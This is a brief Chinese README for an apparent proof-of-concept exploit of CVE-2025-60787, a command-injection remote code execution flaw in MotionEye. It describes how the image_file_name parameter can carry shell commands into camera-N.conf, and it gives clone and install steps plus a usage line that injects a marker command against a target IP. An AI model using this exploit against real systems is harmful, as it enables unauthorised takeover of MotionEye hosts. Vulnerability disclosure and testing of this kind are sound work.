CVE-2025-60787 的专业概念验证 (PoC),这是 MotionEye(版本 ≤ 0.43.1b4)中的一个严重远程代码执行 (RCE) 漏洞。
该漏洞源于 configUiValid JavaScript 函数中的客户端验证绕过。虽然 UI 验证了文件名字段,但服务器端在将这些输入写入 camera-N.conf 文件之前未能正确清理它们。攻击者可以通过 image_file_name 参数注入任意 shell 命令,导致在服务重新加载或重启时完全控制系统。
按照以下步骤设置环境和漏洞利用工具:
# Clone the repository
git clone [https://github.com/Rohitberiwala/Motioneye-RCE-CVE-2025-60787](https://github.com/Rohitberiwala/Motioneye-RCE-CVE-2025-60787)
cd Motioneye-RCE-CVE-2025-60787
# Install required dependencies
pip install requests
## 使用
```bash
# Execute the exploit to create a marker file in /tmp
python3 exploit.py --target [TARGET_IP] --cmd "id > /tmp/hacked"